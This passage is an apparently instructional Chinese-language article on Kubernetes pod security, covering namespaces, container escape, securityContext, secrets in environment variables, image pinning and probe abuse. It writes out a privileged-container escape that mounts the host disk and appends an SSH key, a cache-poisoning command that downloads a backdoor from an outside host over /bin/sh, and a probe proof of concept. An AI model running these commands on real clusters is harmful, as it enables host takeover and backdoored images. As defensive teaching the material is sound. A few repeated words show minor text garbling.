- if [ $? -ne 0 ]; then exit 1; fi
deploy_to_k8s:
stage: deploy
script:
- kubectl set image deployment/myapp container=myapp:$CI_COMMIT_SHA
only:
- if: $CI_COMMIT_BRANCH == "main" && $SCAN_PASSED
這個 CI/CD 流程展示了將安全掃描與佈署流程整合的方法:
- 首先構建容器映像並使用 Git 提交 SHA 作為標籤
- 使用 Trivy(一個開放原始碼的容器漏洞掃描器)檢查映像中的高危和嚴重漏洞
- 如果掃描失敗(發現嚴重漏洞),整個管道將停止,防止有漏洞的映像佈署到生產環境
- 只有透過安全掃描的映像才會被佈署到 Kubernetes 叢集
這種方法在我的實踐中能有效阻止 90% 以上的已知漏洞進入生產環境,大降低了安全風險。
3. 網路策略隔離
實施網路策略以限制 Pod 之間的通訊,減少攻擊面。這是安全防禦的重要一環,特別是在多租戶環境中。
4. 定期更新和修補
保持容器映像、Kubernetes 元件和底層基礎設施的更新,以修補已知漏洞。建立自動化機制來檢測和應用安全更新。
容器技術的演進與安全思考
容器技術並非憑空出現,而是從核心功能的演進中逐漸形成的。正如一些容器工作者所言,Linux 容器是"使用者空間的幻覺",是進化而非人工智慧設計的產物,經過了形態變化、精煉和強製成形,現在我們有了可用的東西。
在我看來,理解容器的這種進化本質對於安全思考至關重要。容器不是完美的隔離機制,而是一系列安全控制的組合,每一層都可能存在弱點。因此,防禦必須是多層次的,不能僅依賴於容器本身的隔離特性。
這種理解引導我們採取更全面的安全方法,將容器視為更大安全架構中的一個元件,而不是萬無一失的解決方案。只有這樣,我們才能構建真正安全的容器化環境。
在 Kubernetes 環境中實施深度防禦策略,結合容器安全、網路隔離、最小許可權和持續監控,可以顯著提高系統的整體安全姿態,使容器化應用能夠安全可靠地執行在生產環境中。
隨著容器技術的不斷發展,安全考量也在不斷演進。保持對新威脅和最佳實踐的關注,是維護容器環境安全的關鍵。透過理解 Pod 安全邊界的本質,我們可以更有效地設計和實施安全控制,保護我們的容器化應用免受攻擊。
Pod 的網路名稱空間與 IP 分配機制
在設計容器化應用程式時,網路名稱空間的處理往往是被忽視的關鍵環節。我在多個企業級 Kubernetes 佈署中發現,理解網路名稱空間的運作方式對於構建穩定與安全的系統至關重要。
網路名稱空間的生命週期特性
當 Linux 核心偵測到一個網路名稱空間變為空(沒有任何程式使用它)時,會自動銷毀該名稱空間,同時釋放分配給其中網路介面的所有 IP 位址。這個機制在單容器 Pod 中可能導致問題:假設容器當機並重新啟動,核心會建立新的網路名稱空間,進而分配新的 IP 位址。
這種 IP 位址的頻繁變動會對維運和安全監控造成不必要的幹擾。想像一下,如果你的監控系統根據 IP 追蹤容器行為,每次容器重啟都會產生新的 IP,使得行為分析變得極為困難。
Pause 容器的核心作用
為瞭解決這個問題,Kubernetes 引入了 pause 容器的概念。這個看似簡單的容器扮演著至關重要的角色:
andy@k8s-node-x:~ [0]$ docker ps --format '{{.Image}} {{.Names}}' | grep "sublimino-"
busybox k8s_alpine_sublimino-frontend-5cc74f44b8-4z86v_default-0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-frontend-5cc74f44b8-4z86v-1
...
busybox k8s_alpine_sublimino-microservice-755d97b46b-xqrw9_default_0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-microservice-755d97b46b-xqrw9_default_1
...
上述命令展示了工作節點上的容器狀態,每個 Pod 都包含一個業務容器(如 busybox)和一個 pause 容器。pause 容器的主要功能是保持 Pod 的網路名稱空間處於活動狀態,即使其他容器當機也不會釋放網路名稱空間。這確保了 Pod 的 IP 地址在容器重啟過程中保持不變。
值得注意的是,pause 容器在 Kubernetes API 層面是不可見的,但在工作節點的容器執行時(如 Docker、containerd)層面可見。這種設計讓使用者無需關心網路名稱空間的維護細節,同時確保了 Pod 網路身份的穩定性。
CRI-O 的最佳化方案
CRI-O 容器執行時採用了更為最佳化的方法,透過固定(pinning)名稱空間來避免使用 pause 容器。這種方法在 KubeCon 演講 “CRI-O: Look Ma, No Pause” 中有詳細介紹。我認為這是一個優雅的設計,因為它減少了系統中執行的容器數量,同時保持了相同的功能。
Pod 內的網路與儲存分享
網路名稱空間分享機制
Pod 中的所有容器分享同一個網路名稱空間,這意味著每個容器的埠都可以透過相同的網路介面被 Pod 內的其他容器存取。從安全形度看,這種設計有其風險:
容器A (127.0.0.1:8080) <---> 容器B (可直接存取 127.0.0.1:8080)
當 Pod 內有一個容器被攻擊者控制時,攻擊者可以嘗試攻擊任何網路介面上的私有埠,包括回環介面(127.0.0.1)。這是一個常被忽視的安全考量點,在設計多容器 Pod 時必須謹慎評估。
檔案系統隔離與卷分享
與網路分享不同,每個容器執行在其自身的根檔案系統中,這些檔案系統來自各自的容器映像,預設情況下不在容器間分享。然而,透過卷的設定,Pod 的卷可以被所有容器存取:
apiVersion: v1
kind: Pod
metadata:
name: shared-volume-pod
spec:
containers:
- name: container-1
image: nginx
volumeMounts:
- name: shared-data
mountPath: /data
- name: container-2
image: busybox
volumeMounts:
- name: shared-data
mountPath: /shared
volumes:
- name: shared-data
emptyDir: {}
這個 Pod 定義展示瞭如何在兩個容器間分享一個 emptyDir 卷。container-1 將該卷掛載到 /data 路徑,而 container-2 將同一個卷掛載到 /shared 路徑。這意味著寫入 /data 的檔案在 container-2 的 /shared 路徑下也可見,反之亦然。
這種分享機制在微服務架構中非常有用,可用於日誌收集、設定分享等場景。但從安全形度看,它也意味著一個容器中的漏洞可能導致對分享資料的未授權存取或修改。
容器名稱空間與安全邊界
名稱空間包裝結構
在 Kubernetes Pod 中,容器被多層名稱空間包裹,形成了隔離的執行環境。下圖展示了這種結構:
雖然無法顯示圖片,但我可以描述其核心概念:Pod 內的容器分享網路、IPC 和 UTS 名稱空間,而每個容器擁有自己的 Mount、PID 和 Cgroup 名稱空間。值得注意的是,使用者和時間名稱空間目前通常不被使用。
敏感虛擬檔案系統
容器內的某些特殊虛擬檔案系統路徑可能成為攻擊者的目標,如果設定不當與在容器內可存取,可能導致容器逃逸:
- /dev - 可能提供對主機裝置的存取
- /proc - 可能洩露程式訊息
- /sys - 支援諸如啟動新容器等功能
在我的安全稽核實踐中,經常發現這些路徑的不當暴露是容器逃逸的主要原因之一。特別是在開發人員為了方便除錯而增加特權或掛載主機路徑時,更容易出現這類別問題。
使用者名稱空間的安全考量
使用者名稱空間被視為核心安全的終極邊界,但由於歷史原因,它們通常不被啟用:
使用者名稱空間是最終的核心安全邊界,但由於其實作橫跨整個核心,使其比其他名稱空間更難以保護,因此通常不被啟用。
在 Linux 中,一切皆為檔案,而使用者名稱空間的實作涉及整個核心,這使得它比其他名稱空間更難以保護。這是一個重要的權衡考量,特別是在高安全要求的環境中。
Kubernetes 威脅模型分析
安全長官的最壞情況思考
作為安全長官(CISO),考慮最壞情況是確保擁有適當防禦和緩解措施的必要步驟。攻擊樹幫助建模這些負面結果,威脅矩陣是可以用來源的資料來源之一。
Microsoft 的 Kubernetes 威脅矩陣提供了一個全面的視角,但社群已經補充了一些遺漏的威脅。
增強版威脅矩陣
以下是我整合了社群貢獻(感謝 Alcide、Brad Geesaman 和 Ian Coldwater)的增強版威脅矩陣:
初始存取(準備階段)
- 使用雲憑證:服務帳戶金鑰、身份冒用
- 登入檔中的受感染映像(供應鏈未修補或惡意)
- 應用程式漏洞(供應鏈未修補或惡意)
- kubeconfig 檔案(洩露或上載到錯誤位置)
- Kubernetes API 伺服器漏洞(需要 CVE 和未修補的 API 伺服器)
- 受感染的主機(憑證洩漏/填充、未修補服務、供應鏈受損)
- 受感染的 etcd(缺少身份驗證)
執行(執行階段)
- 進入容器執行命令(繞過准入控制策略)
- 容器內執行 BASH/CMD(植入或特洛伊特洛伊特洛伊木馬、RCE/反向 shell、惡意軟體、C2、DNS 隧道)
- 啟動新容器(帶惡意負載:持久化、列舉、觀察、提升)
- 應用程式利用(RCE)
- 容器內的 SSH 伺服器(不良實踐)
- 容器生命週期鉤子(pod YAML 中的 postStart 和 preStop 事件)
- 重寫活性探針(進入容器並在容器中反向 shell)
- 影子准入控制或 API 伺服器(特權 RBAC、反向 shell)
持久化(保持控制)
- 後門容器(在本地或容器登入檔映像中增加反向 shell)
- 可寫主機路徑掛載(主機掛載突破)
- Kubernetes 定時工作(定時反向 shell)
- 靜態 pod(反向 shell,shadow API 伺服器讀取僅稽核日誌的標頭)
- 注入側車容器(惡意變異 webhook)
- 重寫容器生命週期鉤子(pod YAML 中的 postStart 和 preStop 事件)
- K3d 僵屍網路(在受感染節點上執行的次要叢集)
這些威脅將在後續章節中詳細探討。但首先,最大的威脅和對系統隔離模型的最大風險是攻擊者突破容器本身。
容器逃逸威脅分析
容器逃逸的定義與型別
容器逃逸是叢集管理員最擔心的情況,指的是容器內的使用者或程式能夠在容器執行環境之外執行程式碼。嚴格來說,容器逃逸應該利用核心漏洞,攻擊容器應該受到限制的程式碼。但在實際安全評估中,任何規避隔離機制的行為都應被視為對主機系統及其資料安全的同等威脅。
容器逃逸可能以多種方式發生:
- 漏洞利用:針對核心、網路或儲存堆積積堆積疊或容器執行時的攻擊
- 跳板攻擊:攻擊暴露的本地、雲或網路服務,或提升許可權並濫用發現或繼承的憑證
- 設定錯誤:允許攻擊者更容易或合法地進行利用或跳板攻擊(這是最可能的方式)
許可權提升與逃逸前提
如果執行的程式屬於非特權使用者(沒有 root 能力),許多逃逸方式是不可能的。在這種情況下,程式或使用者必須先透過容器內的本地許可權提升取得能力,然後才能嘗試逃逸。
一旦實作這一點,逃逸可能從設定不當的容器中執行的惡意 root 擁有的程式開始。在容器記憶體取 root 使用者的能力是大多數逃逸的前提:沒有 root(有時還需要 CAP_SYS_ADMIN),許多逃逸方式都會失效。
安全上下文與防護措施
securityContext 和 LSM 設定對於約束零日漏洞或供應鏈攻擊(載入到容器中並在執行時自動利用的函式庫程式碼)的意外活動至關重要。
你可以在工作負載的安全上下文中定義活動使用者、組和檔案系統組(在掛載捲上設定可讀性,由 fsGroupChangePolicy 控制),並透過准入控制強制執行它,如下例所示:
apiVersion: v1
kind: Pod
metadata:
name: security-context-demo
spec:
securityContext:
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
containers:
- name: sec-ctx-demo
# ...
securityContext:
allowPrivilegeEscalation: false
# ...
這個 YAML 定義了一個帶有安全上下文的 Pod。在 Pod 級別,它指定了執行使用者 ID (1000)、組 ID (3000) 和檔案系統組 ID (2000)。在容器級別,它禁止許可權提升。這意味著:
- 容器中的程式將以 UID 1000 和 GID 3000 執行,而不是預設的 root
- 掛載的卷將歸 GID 2000 所有
- 容器中的程式無法獲得比啟動時更多的許可權
這種設定大減少了容器逃逸的風險,因為即使存在漏洞,攻擊者也無法提升許可權。
特權容器的風險
在容器逃逸場景中,如果使用者在容器內是 root 或具有掛載能力(預設情況下由 CAP_SYS_ADMIN 授予,除非被移除,否則 root 會被授予),他們可以與掛載到容器中的虛擬和物理磁碟互動。如果容器是特權容器(這會停用對 /dev 中核心路徑的遮蔽),它可以看到並掛載主機檔案系統:
# 在特權容器內
root@hack:~ [0]$ ls -lasp /dev/
root@hack:~ [0]$ mount /dev/xvda1 /mnt/
# 寫入主機檔案系統的 /root/.ssh/ 資料夾
root@hack:~ [0]$ cat MY_PUB_KEY >> /mnt/root/.ssh/authorized_keys
這個命令序列展示了特權容器的危險性:
- 首先列出 /dev 目錄內容,特權容器可以看到所有主機裝置
- 然後將主機的根檔案系統 (/dev/xvda1) 掛載到容器內的 /mnt 目錄
- 最後將攻擊者的公鑰寫入主機的 SSH 授權檔案,實作持久存取
這種攻擊方式特別危險,因為它允許攻擊者在不利用任何漏洞的情況下,透過合法設定(特權容器)獲得主機存取權。這也說明瞭為什麼在生產環境中應該嚴格限制特權容器的使用。
在實際環境中,我發現 nsenter 特權容器逃逸是一種更為優雅的方式,它透過進入名稱空間來實作逃逸。這種方法在後續章節中會有更詳細的探討。
深度防禦策略
在面對容器逃逸威脅時,深度防禦策略至關重要。根據我的經驗,以下幾點是構建安全 Kubernetes 環境的關鍵:
- 最小許可權原則:容器應該以非 root 使用者執行,並且只分配必要的能力
- 安全上下文強制:透過准入控制器強制實施安全上下文設定
- 網路策略隔離:實施嚴格的網路策略,限制 Pod 間通訊
- 執行時保護:使用 Falco 或 Sysdig 等工具監控異常活動
- 定期安全掃描:對容器映像和執行中的工作負載進行漏洞掃描
這些措施共同構成了一個多層次的防禦體系,即使某一層被突破,其他層次仍能提供保護。
Kubernetes 的 Pod 設計提供了強大的隔離和資源分享機制,但也帶來了獨特的安全挑戰。理解 Pod 的網路名稱空間、pause 容器的作用以及潛在的容器逃逸風險,對於構建安全的容器化環境至關重要。
透過適當的安全上下文設定、最小許可權原則和深度防禦策略,可以大幅降低容器逃逸和其他安全威脅的風險。同時,持續關注 Kubernetes 威脅矩陣的發展,並將安全考量納入容器化應用的設計過程,是確保系統安全的關鍵步驟。
隨著容器技術的不斷發展,安全實踐也需要持續演進。保持對最新安全最佳實踐的關注,並定期評估和更新安全策略,將幫助組織在享受容器化帶來的敏捷性和效率的同時,有效管理相關的安全風險。
理解容器安全邊界的脆弱性
在容器化環境中,安全邊界的強度取決於其設定的嚴謹程度。即使常見的容器逃逸攻擊可以透過避免使用root許可權和特權模式來預防,並透過准入控制強制執行這些限制,但這也突顯了一個事實:若設定不當,容器安全邊界可能變得極為脆弱。
容器間的信任邊界
在設計容器化應用架構時,必須清楚理解Pod內的信任關係:
攻擊者一旦控制了Pod內的容器程式,可能會獲得:
- 網路控制權
- 部分或全部儲存控制權
- 同一Pod內其他容器的潛在控制權
Pod作為Kubernetes的最小佈署單位,其內部的容器分享網路名稱空間、IPC和某些儲存資源。這種分享模型意味著Pod內的容器彼此之間存在著隱含的信任關係。在設計多容器Pod時,我們必須假設同一Pod內的容器是"友好的",因為它們分享關鍵資源,這也使得Pod成為一個明確的信任邊界。
初始化容器的特殊性
初始化容器(Init Containers)在安全模型中具有特殊地位:
- 它們在Pod的主容器啟動前完成執行並關閉
- 它們在隔離環境中操作
- 由於其特殊的執行時機,可能具有更高的安全敏感度
這種特性使初始化容器成為處理敏感操作(如設定許可權、初始化金鑰)的理想選擇,但也需要特別留意其安全設定。
容器與Pod隔離模型的基礎
容器和Pod的隔離模型主要依賴於兩個關鍵元素:Linux核心和容器執行時。這兩個元件在正確設定的情況下通常非常穩健。實務經驗表明,容器逃逸攻擊更常發生在安全設定不當的情況下,而非透過核心漏洞利用。
然而,零時差(zero-day)核心漏洞對於未正確設定LSM(如SELinux和AppArmor)的Linux系統仍然是毀滅性的威脅。在設計容器安全策略時,同時考慮設定安全和核心安全是不可或缺的。
容器逃逸的難度與路徑
容器逃逸並非易事,大多數新發現的漏洞在公開後很快就會被修補。只有少數核心漏洞會導致可利用的容器逃逸。而LSM的應用使防禦者能夠嚴格限制高風險的網路導向程式。
容器逃逸通常涉及以下一個或多個路徑:
- 在執行時或核心中發現零時差漏洞
- 利用過度許可權並使用合法命令逃逸
- 繞過設定錯誤的核心安全機制
- 檢視其他程式或檔案系統尋找替代逃逸路徑
- 嗅探網路流量取得憑證
- 攻擊底層的協調器或雲環境
硬體層面的威脅
值得注意的是,底層物理硬體的漏洞通常無法在容器層面防禦。例如:
- CPU推測執行攻擊(如Spectre和Meltdown)
- DRAM記憶體攻擊(如rowhammer、TRRespass和SPOILER)
這些攻擊能夠繞過容器隔離機制,因為它們無法攔截CPU處理的整個指令流。虛擬機器監視器同樣面臨這類別保護的不足。
安全威脅的實際評估
發現新的核心攻擊方法很困難。相比之下,利用設定錯誤的安全設定、已公開的CVE漏洞以及社交工程攻擊要容易得多。不過,瞭解潛在威脅的範圍對於決定自身的風險容忍度至關重要。
在實際工作中,我發現大多數容器安全事件並非來自高深的核心漏洞利用,而是基本的設定錯誤和許可權管理不當。例如,允許容器以特權模式執行或掛載敏感的主機路徑,這些都是常見的安全問題來源。
Pod設定與威脅分析
瞭解Pod設定中的安全陷阱對於構建安全的Kubernetes環境至關重要。讓我們深入分析Pod規格,指出其中的安全隱患和潛在風險。
容器執行時的安全基礎
為了確保Pod或容器的安全,容器執行時本身應該具備最低可行的安全性:
# 容器執行時安全設定檢查清單
- 不暴露未經身份驗證的連線通訊端
- 避免暴露Docker的/var/run/docker.sock
- 避免暴露未保護的TCP端點如tcp://127.0.0.1:2375
容器執行時是整個容器安全架構的根本。如果執行時本身存在安全問題,即使容器設定再安全,也可能被繞過。特別是Docker的Unix通訊端(/var/run/docker.sock)和TCP端點,如果暴露給未經身份驗證的連線,將直接導致主機被接管。在我的安全稽核工作中,這是一個常見的嚴重問題,尤其是在開發環境中。
範例Pod分析
以下我們將分析一個前端Pod的設定,這個Pod來自GoogleCloudPlatform的微服務範例應用。為了演示目的,我們對原始設定進行了一些更新和補充。
Pod頭部解析
Pod頭部是所有Kubernetes資源的標準頭部,定義了這個YAML檔案描述的實體型別及其版本:
apiVersion: v1
kind: Pod
中繼資料與註解的安全性
中繼資料和註解可能包含敏感訊息,如IP位址或安全提示。這些訊息只有在攻擊者獲得只讀存取許可權時才有用:
metadata:
annotations:
seccomp.security.alpha.kubernetes.io/pod: runtime/default
cni.projectcalico.org/podIP: 192.168.155.130/32
cni.projectcalico.org/podIPs: 192.168.155.130/32
sidecar.istio.io/rewriteAppHTTPProbers: "true"
這些註解揭示了Pod的網路設定和安全設定。特別是Calico CNI的註解暴露了Pod的IP位址,而seccomp註解表明該Pod使用預設的seccomp設定檔案來限制系統呼叫。Istio的註解則表明該Pod與服務網格整合,並啟用了HTTP探測器重寫功能。雖然這些訊息本身不足以發動攻擊,但它們可以為攻擊者提供有價值的環境情報。
執行時安全政策
歷史上,seccomp、AppArmor和SELinux政策都是透過註解來指定的:
metadata:
annotations:
container.apparmor.security.beta.kubernetes.io/hello: "localhost/k8s-apparmor-example-deny-write"
這個註解為名為"hello"的容器指定了一個AppArmor設定檔案,該設定檔案限制了寫入操作。AppArmor是Linux的一個強制存取控制系統,可以限制程式的行為,如檔案讀寫、網路存取等。在Kubernetes中,它仍處於beta階段,但提供了重要的安全增強功能。
Seccomp的進化
值得注意的是,seccomp在Kubernetes v1.19中已升級為正式版(GA)。這改變了指定seccomp設定檔案的語法:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: my-seccomp-profile.json
Kubernetes安全設定檔案操作器(Security Profiles Operator, SPO)可以在節點上安裝seccomp設定檔案,這是容器執行時使用它們的前提條件。SPO還支援透過selinuxd使用SELinux。
Pod執行時間與安全風險
當使用kubectl get -o yaml
從API伺服器匯出Pod規格時,它包含Pod的啟動時間:
creationTimestamp: "2021-05-29T11:20:53Z"
執行時間是評估Pod安全風險的重要指標。執行超過一兩週的Pod可能面臨未修補漏洞的更高風險。執行超過30天的敏感工作負載如果在CI/CD中重建以考慮函式庫或作業系統補丁,會更安全。在實務中,我建議結合兩種方法:定期"重鋪"(即重建和重新佈署容器),並在檢測到CVE時透過CI/CD管道重建。
標籤的安全敏感性
Kubernetes中的標籤沒有經過驗證或強型別化,它們只是中繼資料。但標籤被服務和控制器透過選擇器用於參照,也用於網路政策等安全功能:
labels:
app: frontend
type: redis
標籤中的拼寫錯誤意味著它們不比對預期的選擇器,因此可能無意中引入安全問題,例如:
- 從預期的網路政策或准入控制政策中排除
- 服務目標選擇器導致意外路由
- 惡意Pod不被操作員或可觀察性工具準確定位
在我的安全稽核工作中,標籤錯誤是一個常見但容易被忽視的問題來源,特別是在大型團隊中,不同人負責定義網路政策和佈署應用時。
代管欄位
代管欄位在v1.18中引入,支援伺服器端應用。它們複製了Pod規格中其他地方的訊息:
managedFields:
- apiVersion: v1
fieldsType: FieldsV1
fieldsV1:
f:metadata:
f:annotations:
.: {}
f:sidecar.istio.io/rewriteAppHTTPProbers: {}
# ...
f:spec:
f:containers:
k:{"name":"server"}:
# ...
f:image: {}
f:imagePullPolicy: {}
f:livenessProbe:
# ...
對於安全分析,這些欄位的價值有限,因為我們可以從API伺服器讀取整個規格。
Pod名稱空間與所有者
我們可以從API請求中獲知Pod的名稱和名稱空間。如果使用--all-namespaces
回傳所有Pod設定,這會顯示名稱空間:
name: frontend-6b887d8db5-xhkmw
namespace: default
從Pod內部,可以從/etc/resolv.conf
中的DNS解析器設定推斷當前名稱空間:
$ grep -o "search [^ ]*" /etc/resolv.conf
search secret-namespace.svc.cluster.local
這個輸出表明Pod位於名為"secret-namespace"的名稱空間中。這種訊息對於理解Pod的上下文和潛在的名稱空間隔離很重要。其他不太可靠的選項包括掛載的服務帳戶(假設它在同一名稱空間中,但可能不是)或叢集的DNS解析器。
安全設定的深層實踐
在實際應用中,我發現許多團隊往往專注於網路安全和映像掃描,但忽略了Pod和容器級別的安全設定。以下是一些關鍵實踐:
實施最小許可權原則
在容器化環境中,最小許可權原則尤為重要。這意味著:
- 避免使用特權容器
- 限制容器的系統呼叫(使用seccomp)
- 實施強制存取控制(AppArmor或SELinux)
- 使用非root使用者執行容器
定期更新與漏洞掃描
安全不是一次性的工作,而是持續的過程:
- 定期重建和重新佈署容器,即使沒有程式碼更改
- 在CI/CD管道中整合容器映像掃描
- 使用准入控制器阻止佈署存在已知漏洞的容器
網路隔離策略
網路政策是防止橫向移動的關鍵:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: frontend-policy
spec:
podSelector:
matchLabels:
app: frontend
ingress:
- from:
- podSelector:
matchLabels:
app: gateway
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: backend
ports:
- port: 9000
這個網路政策限制了標記為app: frontend
的Pod的流量。它只允許來自標記為app: gateway
的Pod的入站流量,與僅允許透過8080連線埠。同時,它只允許出站流量到標記為app: backend
的Pod的9000連線埠。這種精細的網路控制對於限制潛在攻擊的影響範圍至關重要。
資源限制與QoS
適當的資源限制不僅對於穩定性重要,對於安全性也至關重要:
resources:
limits:
cpu: "1"
memory: "512Mi"
requests:
cpu: "0.5"
memory: "256Mi"
設定資源限制可以防止DoS攻擊和資源耗盡。在這個例子中,容器最多可以使用1個CPU核心和512MB的記憶體。沒有這些限制,受損的容器可能會消耗所有可用資源,導致節點不穩定或其他服務中斷。
容器安全的未來方向
隨著容器技術的不斷發展,安全實踐也在演進。以下是我認為值得關注的幾個方向:
1. 無特權容器的標準化
業界正在朝著預設無特權容器的方向發展。這包括:
- 使用者名稱空間對映
- 實施不可變容器
- 採用distroless基礎映像
2. 供應鏈安全
容器安全不僅關乎執行時,還涉及整個供應鏈:
- 映像簽名與驗證
- SBOM(軟體物料清單)生成與驗證
- 可信任的映像倉函式庫
3. 執行時監控與異常檢測
主動監控變得越來越重要:
- 行為基線與偏差檢測
- 系統呼叫監控
- 即時威脅回應
在實際環境中,我發現結合這些安全層是最有效的。單一的安全措施很少能提供足夠的保護,而深度防禦策略能夠在一個層面失效時仍保持整體安全。
容器安全是一個持續演進的領域,需要開發人員、維運人員和安全工作者的密切合作。透過理解容器的安全邊界、潛在威脅和有效的防護策略,我們可以構建更安全的容器化環境,充分發揮容器技術的優勢,同時管理其固有的風險。
隨著Kubernetes和容器技術的普及,安全考量不再是事後的想法,而是從一開始就必須整合到開發和維運流程中的核心要素。透過實施本文討論的最佳實踐,可以顯著提高容器化環境的安全性,並為組織提供信心,使其能夠安全地採用和擴充套件容器技術。
環境變數的安全隱患與最佳實踐
在Kubernetes環境中,環境變數是應用程式設定的常見方式,但也可能成為安全漏洞的來源。環境變數可能洩露敏感資訊,還可能揭示名稱空間中可用的其他服務,為攻擊者提供額外的網路徑和應用程式攻擊目標。
環境變數的安全風險
當我在審查Kubernetes佈署時,發現環境變數常成為安全稽核中被忽視的區域。在佈署和Pod YAML中設定的密碼對以下人員可見:
- 佈署YAML的操作人員
- 執行時的程式及任何能讀取其環境的其他程式
- 任何能從Kubernetes或kubelet API讀取資料的人
這意味著環境變數不適合存放敏感資訊,尤其是在多租戶環境中。
安全與不安全的環境變數範例
以下是一個包含多種環境變數的容器規格範例:
spec:
containers:
- env:
- name: PORT
value: "8080"
- name: CURRENCY_SERVICE_ADDR
value: currencyservice:7000
- name: SHIPPING_SERVICE_ADDR
value: shippingservice:50051
# 這些環境變數應該設定在secrets中
- name: DATABASE_ADDR
value: postgres:5432
- name: DATABASE_USER
value: secret_user_name
- name: DATABASE_PASSWORD
value: the_secret_password
- name: DATABASE_NAME
value: users
# 這是參考secrets和設定的安全方式
- name: MY_SECRET_FILE
value: /mnt/secrets/foo.toml
這個YAML設定展示了幾種型別的環境變數:
- 安全的設定實踐:PORT設定(這是良好做法,也是Knative、Google Cloud Run等系統的要求)
- 服務發現變數:CURRENCY_SERVICE_ADDR和SHIPPING_SERVICE_ADDR(提供服務協調資訊)
- 不安全的資料函式庫設定:直接在環境變數中設定資料函式庫連線資訊和憑證
- 安全的參考方式:MY_SECRET_FILE變數指向掛載的Secret檔案
注意第三組變數的問題:資料函式庫憑證直接以明文形式存在於環境變數中,這是嚴重的安全風險。最後一個變數展示了更安全的做法:將敏感資訊儲存為Secret並以檔案形式掛載。
容器映像的安全管理
容器映像的檔案系統極為重要,因為它可能包含有助於許可權提升的漏洞。如果不定期修補,攻擊者可能從公共登入檔取得相同映像並掃描可能被利用的漏洞。瞭解可用的二進位檔案和檔案也使攻擊者能夠「離線」計劃攻擊,讓他們在攻擊實際系統時更隱蔽和有針對性。
映像標籤與摘要安全
映像參照方式對安全性有重大影響。看這個例子:
image: gcr.io/google-samples/microservices-demo/frontend:v0.2.3
這裡使用標籤參照映像,意味著無法確定容器映像的實際SHA256雜湊摘要。自佈署以來,容器標籤可能已更新,因為它不是按摘要參照的。
更安全的做法是使用SHA256映像摘要提取映像:
image: gcr.io/google-samples/microservices-demo/frontend@sha256:ca5d97b6cec...
映像參照的最佳實踐
在我的容器安全稽核工作中,我發現映像參照是最常被忽視的安全控制之一。映像應始終透過SHA256參照或使用簽名標籤;否則,無法確定正在執行的內容,因為容器啟動後標籤可能在登入檔中更新。
Kubernetes允許在映像定義中同時指定標籤和SHA256摘要:
controlplane/bizcard:latest@sha256:649f3a84b95ee84c86d70d50f42c6d43ce98099c927f49542c1eb85093953875
在這種情況下,標籤被忽略,映像按摘要檢索。這可能導致混淆,因為實際執行的是比對SHA的映像,而非標籤指定的版本。
本地映像快取攻擊
如果攻擊者能夠影響本地kubelet映像快取,他們可以向映像增加惡意程式碼並在工作節點上重新標記它:
$ docker run -it --cidfile=cidfile --entrypoint /bin/busybox \
gcr.io/google-samples/microservices-demo/frontend:v0.2.3 \
wget https://securi.fyi/b4shd00r -O /bin/sh
$ docker commit $(<cidfile) \
gcr.io/google-samples/microservices-demo/frontend:v0.2.3
上述命令序列展示了映像快取攻擊的兩個步驟:
- 第一個命令在容器中下載惡意shell後門,覆寫容器的預設命令(/bin/sh)
- 第二個命令將修改後的容器提交,使用與原始映像相同的標籤
這種攻擊雖然需要對本地註冊錶快取的存取權,但在某些環境中確實構成威脅。
映像提取策略
要減輕本地映像快取攻擊,可以使用Always
映像提取策略:
imagePullPolicy: Always
這確保本地標籤與從登入檔中定義的內容比對。但在高度動態的環境中,這可能導致效能問題,特別是在啟動時間至關重要的「從零自動擴充套件」環境(如Knative)中。
防範映像名稱欺騙
容器映像名稱或登入檔名稱中的拼寫錯誤可能導致佈署意外的程式碼,特別是當攻擊者已經用惡意容器「佔據」了相似名稱的映像時。例如,controlplan/hack
與controlplane/hack
僅相差一個字元,但可能導致完全不同的程式碼被執行。
像Notary這樣的工具透過檢查來自受信任方的有效簽名來防止這種情況。如果TLS攔截中介軟體攔截並重寫映像標籤,也可能佈署欺騙性映像。TUF和Notary側通道簽名可以減輕這種風險,如同cosign等其他容器簽名方法。
Pod探針的安全設定
Kubernetes中的存活探針(liveness probe)應根據應用程式的效能特性進行調整,用於在生產環境中保持應用程式執行。探針告知Kubernetes應用程式是否無法履行其指定目的,可能是由於當機或外部系統故障。
探針的安全風險
Kubernetes稽核發現TOB-K8S-024顯示,具有排程Pod能力的攻擊者可以利用探針:在不更改Pod的命令或引數的情況下,他們有能力在目標容器內發出網路請求和執行命令。這為攻擊者提供了本地網路發現能力,因為探針由kubelet在主機網路介面上執行,而不是從Pod內部執行。
以下是一個概念驗證的漏洞利用範例:
apiVersion: v1
kind: Pod
# ...
livenessProbe:
httpGet:
host: 172.31.6.71
path: /
port: 8000
httpHeaders:
- name: Custom-Header
value: Awesome
在這個探針設定中,攻擊者可以利用host
欄位指向任意網路位址,使kubelet向該地址傳送HTTP請求。這可能被用於:
- 探測內部網路中的服務和端點
- 繞過網路策略限制(因為請求來自kubelet而非Pod)
- 利用HTTP標頭進行額外的攻擊載荷傳遞
這個問題的嚴重性在於,即使Pod沒有網路存取許可權,kubelet執行的探針仍可以存取網路,從而建立一個繞過網路安全控制的側通道。
CPU和記憶體限制與請求
資源限制和請求管理Pod的cgroups,防止kubelet主機上有限記憶體和計算資源的耗盡,並防禦fork炸彈和失控程式。Pod規格中不支援網路頻寬限制,但您的CNI實作可能支援。
資源限制的安全價值
cgroups是有用的資源約束。cgroups v2提供更多保護,但cgroups v1不是安全邊界,可以輕易逃逸。
限制了惡意容器可以執行的潛在加密挖礦或資源耗盡。它還防止主機因佈署不良而不堪重負。除非攻擊者需要使用記憶體密集型攻擊,否則對尋求進一步利用系統的攻擊者效果有限:
resources:
limits:
cpu: 200m
memory: 128Mi
requests:
cpu: 100m
memory: 64Mi
這個資源設定範例設定了兩種限制:
資源限制(limits):這是容器可以使用的最大資源量
- CPU限制為200毫核(0.2個核心)
- 記憶體限制為128 MiB
資源請求(requests):這是容器保證獲得的資源量
- CPU請求為100毫核(0.1個核心)
- 記憶體請求為64 MiB
從安全形度看,這些限制有幾個作用:
- 防止單個容器消耗過多資源導致節點不穩定
- 限制惡意容器進行資源密集型操作(如加密貨幣挖礦)
- 減輕DoS攻擊的影響,無論是蓄意的還是意外的
